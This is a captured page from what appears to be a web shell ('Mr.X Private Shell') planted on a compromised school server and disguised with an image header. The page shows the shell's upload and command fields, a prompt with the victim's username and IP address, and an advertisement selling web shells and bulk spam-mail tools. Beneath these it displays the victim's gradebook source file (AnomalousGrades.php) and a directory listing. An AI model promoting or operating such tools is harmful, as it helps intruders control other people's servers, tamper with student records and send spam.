����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
if ( ! empty( $_REQUEST['period'] ) )
{
	// @since 10.9 Set current User Course Period before Secondary Teacher logic.
	SetUserCoursePeriod( $_REQUEST['period'] );
}

if ( ! empty( $_SESSION['is_secondary_teacher'] ) )
{
	// @since 6.9 Add Secondary Teacher: set User to main teacher.
	UserImpersonateTeacher();
}

if ( ! empty( $_REQUEST['student_id'] ) )
{
	if ( $_REQUEST['student_id'] != UserStudentID() )
	{
		SetUserStudentID( $_REQUEST['student_id'] );
	}
}
elseif ( UserStudentID() )
{
	unset( $_SESSION['student_id'] );
}

$_REQUEST['include_all_courses'] = issetVal( $_REQUEST['include_all_courses'], '' );
$_REQUEST['include_inactive'] = issetVal( $_REQUEST['include_inactive'], '' );

DrawHeader( _( 'Gradebook' ) . ' - ' . ProgramTitle() );

$max_allowed = ( Preferences( 'ANOMALOUS_MAX', 'Gradebook' ) ?
	Preferences( 'ANOMALOUS_MAX', 'Gradebook' ) / 100 :
	1 );

echo '<form action="' . URLEscape( 'Modules.php?modname=' . $_REQUEST['modname']  ) . '" method="POST">';

DrawHeader(
	CheckBoxOnclick(
		'include_all_courses',
		_( 'Include All Courses' )
	),
	CheckBoxOnclick(
		'include_inactive',
		_( 'Include Inactive Students' )
	)
);

if ( empty( $_REQUEST['missing'] )
	&& empty( $_REQUEST['negative'] )
	&& empty( $_REQUEST['max_allowed'] ) )
{
	$_REQUEST['missing'] = $_REQUEST['negative'] = $_REQUEST['max_allowed'] = 'Y';
}

DrawHeader(
	_( 'Include' ) . ': <label>' .
	CheckBoxOnclick( 'missing' ) . ' ' . _( 'Missing Grades' ) . '</label> &nbsp;<label>' .
	CheckBoxOnclick( 'negative' ) . ' ' . _( 'Excused and Negative Grades' ) . '</label> &nbsp;<label>' .
	CheckBoxOnclick( 'max_allowed' ) . ' ' .
	sprintf(
		_( 'Exceed %d%% and Extra Credit Grades' ),
		( $max_allowed * 100 )
	) . '</label>'
);

echo '</form>';

$extra['WHERE'] = issetVal( $extra['WHERE'], '' );

if ( UserStudentID() )
{
	$extra['WHERE'] .= " AND s.STUDENT_ID='" . UserStudentID() . "'";
}

$extra['SELECT'] = issetVal( $extra['SELECT'], '' );
$extra['SELECT'] .= ",gg.POINTS,gg.COMMENT,ga.ASSIGNMENT_TYPE_ID,ga.ASSIGNMENT_ID,gt.TITLE AS TYPE_TITLE,ga.TITLE,ga.POINTS AS TOTAL_POINTS,'' AS LETTER_GRADE";

$extra['FROM'] = " JOIN gradebook_assignments ga ON ((ga.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID OR ga.COURSE_ID=cp.COURSE_ID AND ga.STAFF_ID=cp.TEACHER_ID) AND ga.MARKING_PERIOD_ID='" . UserMP() . "') LEFT OUTER JOIN gradebook_grades gg ON (gg.STUDENT_ID=s.STUDENT_ID AND gg.ASSIGNMENT_ID=ga.ASSIGNMENT_ID AND gg.COURSE_PERIOD_ID=cp.COURSE_PERIOD_ID),gradebook_assignment_types gt";

$extra['WHERE'] .= ' AND (';

// missing

if ( ! empty( $_REQUEST['missing'] ) )
{
	$extra['WHERE'] .= 'gg.POINTS IS NULL AND ((ga.ASSIGNED_DATE IS NULL OR CURRENT_DATE>=ga.ASSIGNED_DATE) AND (ga.DUE_DATE IS NULL OR CURRENT_DATE>=ga.DUE_DATE) OR CURRENT_DATE>(SELECT END_DATE FROM school_marking_periods WHERE MARKING_PERIOD_ID=ga.MARKING_PERIOD_ID)) OR ';
}

// excused or negative

if ( ! empty( $_REQUEST['negative'] ) )
{
	$extra['WHERE'] .= 'gg.POINTS<0 OR ';
}

// greater than max percent or extra credit

if ( ! empty( $_REQUEST['max_allowed'] ) )
{
	$extra['WHERE'] .= 'gg.POINTS>ga.POINTS*' . $max_allowed . ' OR ';
}

$extra['WHERE'] .= 'FALSE) AND gt.ASSIGNMENT_TYPE_ID=ga.ASSIGNMENT_TYPE_ID';
$extra['WHERE'] .= " AND (gg.POINTS IS NOT NULL OR ga.DUE_DATE IS NULL OR ((ga.DUE_DATE>=ss.START_DATE AND (ss.END_DATE IS NULL OR ga.DUE_DATE<=ss.END_DATE)) AND (ga.DUE_DATE>=ssm.START_DATE AND (ssm.END_DATE IS NULL OR ga.DUE_DATE<=ssm.END_DATE))))";

if ( $_REQUEST['include_all_courses'] == 'Y' )
{
	$extra['SELECT'] .= ',cp.COURSE_PERIOD_ID,cp.TITLE AS COURSE_TITLE';
	$extra['all_courses'] = 'Y';
}

$extra['functions'] = [
	'POINTS' => '_makePoints',
	'TYPE_TITLE' => '_makeTitle',
	'TITLE' => '_makeTitle',
];

if ( ! UserStudentID() )
{
	$extra['group'] = [ 'STUDENT_ID' ];
}

$students_RET = GetStuList( $extra );
//echo '<pre>'; var_dump($students_RET); echo '</pre>';

if ( UserStudentID() )
{
	$columns = [ 'POINTS' => _( 'Problem' ) ];
	$link = [];
	$group = [];
}
else
{
	$columns = [
		'FULL_NAME' => _( 'Name' ),
		'STUDENT_ID' => sprintf( _( '%s ID' ), Config( 'NAME' ) ),
		'POINTS' => _( 'Problem' ),
	];

	$link = [
		'FULL_NAME' => [
			'link' => 'Modules.php?modname=' . $_REQUEST['modname'] .
				'&include_all_courses=' . $_REQUEST['include_all_courses'] .
				'&include_inactive=' . $_REQUEST['include_inactive'] .
				'&missing=' . issetVal( $_REQUEST['missing'], '' ) .
				'&negative=' . issetVal( $_REQUEST['negative'], '' ) .
				'&max_allowed=' . issetVal( $_REQUEST['max_allowed'], '' ),
			'variables' => [ 'student_id' => 'STUDENT_ID' ],
		]
	];

	if ( $_REQUEST['include_all_courses'] == 'Y' )
	{
		$link['FULL_NAME']['variables']['period'] = 'COURSE_PERIOD_ID';
	}

	$group = [ 'STUDENT_ID' ];
}

if ( $_REQUEST['include_all_courses'] == 'Y' )
{
	$columns += [ 'COURSE_TITLE' => _( 'Course' ) ];
}

$columns += [ 'TYPE_TITLE' => _( 'Category' ), 'TITLE' => _( 'Assignment' ), 'COMMENT' => _( 'Comment' ) ];

if ( $_REQUEST['include_inactive'] )
{
	$columns += [ 'ACTIVE' => _( 'School Status' ), 'ACTIVE_SCHEDULE' => _( 'Course Status' ) ];
}

$modname = str_replace( 'AnomalousGrades', 'Grades', $_REQUEST['modname'] );

if ( AllowUse( $modname ) )
{
	$link += [
		'TITLE' => [
			'link' => 'Modules.php?modname=' . $modname .
			'&include_inactive=' . $_REQUEST['include_inactive'],
			'variables' => [
				'type_id' => 'ASSIGNMENT_TYPE_ID',
				'assignment_id' => 'ASSIGNMENT_ID',
				'student_id' => 'STUDENT_ID',
			],
		],
	];

	if ( $_REQUEST['include_all_courses'] == 'Y' )
	{
		$link['TITLE']['variables']['period'] = 'COURSE_PERIOD_ID';
	}
}

$options = [ 'save' => false, 'search' => false ];

if ( UserStudentID() )
{
	ListOutput(
		$students_RET,
		$columns,
		'Anomalous Grade',
		'Anomalous Grades',
		$link,
		$group,
		$options
	);
}
else
{
	ListOutput(
		$students_RET,
		$columns,
		'Student with Anomalous Grades',
		'Students with Anomalous Grades',
		$link,
		$group,
		$options
	);
}

/**
 * @param $value
 * @param $column
 */
function _makePoints( $value, $column )
{
	global $THIS_RET;

	if ( $value == '' )
	{
		return '<span style="color:#ff0000">' . _( 'Missing' ) . '</span>';
	}
	elseif ( $value == '-1' )
	{
		return '<span style="color:#00a000">' . _( 'Excused' ) . '</span>';
	}
	elseif ( $value < 0 )
	{
		return '<span style="color:#ff0000">' . _( 'Negative' ) . '</span>';
	}
	elseif ( $THIS_RET['TOTAL_POINTS'] == 0 )
	{
		return '<span style="color:#0000ff">' . _( 'Extra Credit' ) . '</span>';
	}

	return number_format(  ( $value / $THIS_RET['TOTAL_POINTS'] ) * 100, 0 ) . '%';
}

/**
 * Make Assignment Title
 * Truncate Assignment title to 36 chars
 *
 * Local function.
 * GetStuList() DBGet() callback.
 *
 * @since 10.8
 *
 * @param  string $value  Title value.
 * @param  string $column Column. Defaults to 'TITLE'.
 *
 * @return string         Assignment title truncated to 36 chars.
 */
function _makeTitle( $value, $column = 'TITLE' )
{
	if ( ! empty( $_REQUEST['LO_save'] ) )
	{
		// Export list.
		return $value;
	}

	$title = mb_strlen( $value ) <= 36 ?
		$value :
		'<span title="' . AttrEscape( $value ) . '">' . mb_substr( $value, 0, 33 ) . '...</span>';

	return $title;
}

Filemanager

Name Type Size Permission Actions
includes Folder 0755
AnomalousGrades.php File 7 KB 0644
Assignments-new.php File 16.22 KB 0644
Assignments.php File 33 KB 0644
Configuration.php File 14.5 KB 0644
EditHistoryMarkingPeriods.php File 5.47 KB 0644
EditReportCardGrades.php File 16.56 KB 0644
FinalGrades.php File 18.44 KB 0644
GPARankList.php File 2.71 KB 0644
GradeBreakdown.php File 5.16 KB 0644
GradebookBreakdown.php File 13.13 KB 0644
Grades.php File 42.87 KB 0644
HonorRoll.php File 3.63 KB 0644
InputFinalGrades.php File 48.09 KB 0644
MassCreateAssignments.php File 18.08 KB 0644
Menu.php File 3.19 KB 0644
ProgressReports.php File 18.06 KB 0644
ReportCardCommentCodes.php File 8.18 KB 0644
ReportCardComments.php File 14.78 KB 0644
ReportCardGrades.php File 12 KB 0644
ReportCards.php File 2.98 KB 0644
StudentAssignments.php File 1.74 KB 0644
StudentGrades.php File 26.83 KB 0644
TeacherCompletion.php File 5.86 KB 0644
Transcripts.php File 3.22 KB 0644